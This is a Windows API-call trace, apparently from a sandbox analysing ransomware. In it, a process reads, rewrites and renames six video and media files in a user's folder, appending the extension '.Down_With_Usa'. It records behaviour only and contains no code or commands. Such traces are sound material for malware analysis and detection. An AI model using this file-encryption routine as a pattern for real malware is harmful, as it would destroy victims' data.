[0123.010] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\-qxwitty4skzmi.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", lpFilePart=0x0) returned 0x4c
[0123.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x5a
[0123.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\-qxwitty4skzmi.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8762610, ftCreationTime.dwHighDateTime=0x1d5e3c7, ftLastAccessTime.dwLowDateTime=0x79957bd0, ftLastAccessTime.dwHighDateTime=0x1d5e74f, ftLastWriteTime.dwLowDateTime=0x25c87b00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xe570)) returned 1
[0123.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.017] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\-qxwitty4skzmi.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\-qxwitty4skzmi.mkv.down_with_usa")) returned 1
[0123.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", lpFilePart=0x0) returned 0x45
[0123.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\3kraagq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.018] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x9748
[0123.018] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a6da0, nNumberOfBytesToRead=0x9748, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27a6da0*, lpNumberOfBytesRead=0x2eb8d8*=0x9748, lpOverlapped=0x0) returned 1
[0123.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", lpFilePart=0x0) returned 0x45
[0123.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\3kraagq.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi", lpFilePart=0x0) returned 0x45
[0123.057] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi.Down_With_Usa", lpFilePart=0x0) returned 0x53
[0123.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\3kraagq.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cbc5030, ftCreationTime.dwHighDateTime=0x1d5e441, ftLastAccessTime.dwLowDateTime=0x4f312810, ftLastAccessTime.dwHighDateTime=0x1d5d8a6, ftLastWriteTime.dwLowDateTime=0x25cd3dc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x9750)) returned 1
[0123.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.058] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\3kraagq.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\3kraaGq.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\3kraagq.avi.down_with_usa")) returned 1
[0123.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", lpFilePart=0x0) returned 0x4a
[0123.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.059] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\4xycpdzjoq2h.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.059] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x4e52
[0123.059] ReadFile (in: hFile=0x3a8, lpBuffer=0x26c3620, nNumberOfBytesToRead=0x4e52, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26c3620*, lpNumberOfBytesRead=0x2eb8d8*=0x4e52, lpOverlapped=0x0) returned 1
[0123.094] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", lpFilePart=0x0) returned 0x4a
[0123.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\4xycpdzjoq2h.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.097] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4", lpFilePart=0x0) returned 0x4a
[0123.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0123.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\4xycpdzjoq2h.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587220e0, ftCreationTime.dwHighDateTime=0x1d5e595, ftLastAccessTime.dwLowDateTime=0xf3fb5240, ftLastAccessTime.dwHighDateTime=0x1d5db48, ftLastWriteTime.dwLowDateTime=0x25d461e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4e60)) returned 1
[0123.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.098] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\4xycpdzjoq2h.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\4xYcpdzJoQ2h.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\4xycpdzjoq2h.mp4.down_with_usa")) returned 1
[0123.099] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", lpFilePart=0x0) returned 0x4b
[0123.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9bpic8fwktms_.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.099] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x15f24
[0123.100] ReadFile (in: hFile=0x3a8, lpBuffer=0x1557cd40, nNumberOfBytesToRead=0x15f24, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x1557cd40*, lpNumberOfBytesRead=0x2eb8d8*=0x15f24, lpOverlapped=0x0) returned 1
[0123.149] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", lpFilePart=0x0) returned 0x4b
[0123.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.149] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9bpic8fwktms_.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi", lpFilePart=0x0) returned 0x4b
[0123.158] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi.Down_With_Usa", lpFilePart=0x0) returned 0x59
[0123.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.158] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9bpic8fwktms_.avi"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d05ce0, ftCreationTime.dwHighDateTime=0x1d5dca3, ftLastAccessTime.dwLowDateTime=0xf1d1f420, ftLastAccessTime.dwHighDateTime=0x1d5d88b, ftLastWriteTime.dwLowDateTime=0x25dde760, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x15f30)) returned 1
[0123.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.159] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9bpic8fwktms_.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9bPic8fwktms_.avi.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9bpic8fwktms_.avi.down_with_usa")) returned 1
[0123.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", lpFilePart=0x0) returned 0x44
[0123.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9dfdnv.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.160] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xa092
[0123.160] ReadFile (in: hFile=0x3a8, lpBuffer=0x26af040, nNumberOfBytesToRead=0xa092, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26af040*, lpNumberOfBytesRead=0x2eb8d8*=0xa092, lpOverlapped=0x0) returned 1
[0123.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", lpFilePart=0x0) returned 0x44
[0123.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9dfdnv.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf", lpFilePart=0x0) returned 0x44
[0123.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf.Down_With_Usa", lpFilePart=0x0) returned 0x52
[0123.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.200] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9dfdnv.swf"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789f1750, ftCreationTime.dwHighDateTime=0x1d5df1f, ftLastAccessTime.dwLowDateTime=0xd6aff650, ftLastAccessTime.dwHighDateTime=0x1d5dfad, ftLastWriteTime.dwLowDateTime=0x25e2aa20, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa0a0)) returned 1
[0123.200] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.200] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9dfdnv.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\9dfDnv.swf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\9dfdnv.swf.down_with_usa")) returned 1
[0123.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", lpFilePart=0x0) returned 0x48
[0123.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\di0xawpfzi.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.203] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x78b
[0123.203] ReadFile (in: hFile=0x3a8, lpBuffer=0x27d7a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27d7a88*, lpNumberOfBytesRead=0x2eb8d8*=0x78b, lpOverlapped=0x0) returned 1
[0123.234] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", lpFilePart=0x0) returned 0x48
[0123.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.234] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\di0xawpfzi.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4", lpFilePart=0x0) returned 0x48
[0123.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0123.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.238] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\di0xawpfzi.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cb4770, ftCreationTime.dwHighDateTime=0x1d5d9d2, ftLastAccessTime.dwLowDateTime=0x48b932e0, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x25e9ce40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x790)) returned 1
[0123.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\di0xawpfzi.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\DI0XawpFZI.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\di0xawpfzi.mp4.down_with_usa")) returned 1
